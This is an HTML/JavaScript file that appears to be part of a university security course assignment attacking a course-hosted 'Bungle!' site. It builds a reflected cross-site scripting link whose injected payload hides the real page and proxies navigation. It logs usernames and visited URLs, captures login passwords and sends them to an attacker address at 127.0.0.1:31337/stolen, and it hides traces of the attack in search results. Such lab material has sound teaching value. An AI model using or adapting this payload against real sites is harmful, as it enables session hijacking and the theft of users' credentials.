<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
// Extend this function:
function payload(attacker) {
	function log(data) {
		console.log($.param(data))
		$.get(attacker, data);
	}
	function proxy(href) {
		var stateObj = { foo: href };
		history.pushState(stateObj, "page 2", href);
		$("html").load(href, function(){
			$("html").show();

			// log nav
			if ($('#logged-in-user').length) {
				var logged_in_user = $('#logged-in-user').html().toString();
				log({event: "nav", user: logged_in_user, url: href})
			} else {
				log({event: "nav", url: href})
			}

			//log logout
			$("#log-out-btn").click(function() {
				alert('logout');
				log({event: "logout", user: logged_in_user});
				proxy("/");
			});

			//log login
			$("#log-in-btn").click(function() {
				alert('login');
				var user = $('#username').val();
				var pass = $('#userpass').val();

				log({event: "login", user: user, pass: pass});
				proxy("/");
			});

			//hide attacks in search
			$("a:contains('ATTACK SCRIPT')").hide();
		});
	}
	$("html").hide();


	proxy("/");
}
function makeLink(xssdefense, target, attacker) {
	if (xssdefense == 0) {
		return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
		encodeURIComponent("<script" + ">" + payload.toString() +
			";payload(\"" + attacker + "\");</script" + ">");
		} else {
// Implement code to defeat XSS defenses here.
}
}
var xssdefense = 0;
var target = "http://cos432-assn3.cs.princeton.edu";
var attacker = "http://127.0.0.1:31337/stolen";
$(function() {
	var url = makeLink(xssdefense, target, attacker);
	$("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});
</script>
<h3></h3>